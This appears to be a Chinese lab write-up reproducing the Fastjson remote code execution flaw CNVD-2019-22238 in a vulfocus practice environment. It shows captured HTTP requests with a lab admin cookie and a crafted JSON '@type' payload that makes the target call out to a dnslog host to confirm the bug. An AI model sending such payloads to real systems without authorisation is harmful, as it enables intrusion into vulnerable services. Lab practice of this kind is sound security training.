vulfocus/fastjson-CNVD-2019-22238复现

CNVD-2019-22238

环境所在位置

漏洞描述

Fastjson是一款开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。Fastjson存在远程代码执行漏洞

影响版本

fastjson <1.2.48

漏洞复现

访问

http://192.168.112.192:23910/

使用bp进行抓包

• 

把数据包发到重发器

修改数据包

GET / HTTP/1.1
Host: 192.168.112.192:23910
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjUyOTgwMjI4LCJlbWFpbCI6IiJ9.QLx6BTKyYw2M63pRywrWRzlvmmBjWGTgkw3sx2nkHZc
Connection: close

修改后的数据包

先变更请求方式

POST / HTTP/1.1
Host: 192.168.112.192:23910
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjUyOTgwMjI4LCJlbWFpbCI6IiJ9.QLx6BTKyYw2M63pRywrWRzlvmmBjWGTgkw3sx2nkHZc
Connection: close
Content-Type: application/json
Content-Length: 64

{"a":{"@type":"java.net.Inet4Address","val":"es2oll.dnslog.cn"}}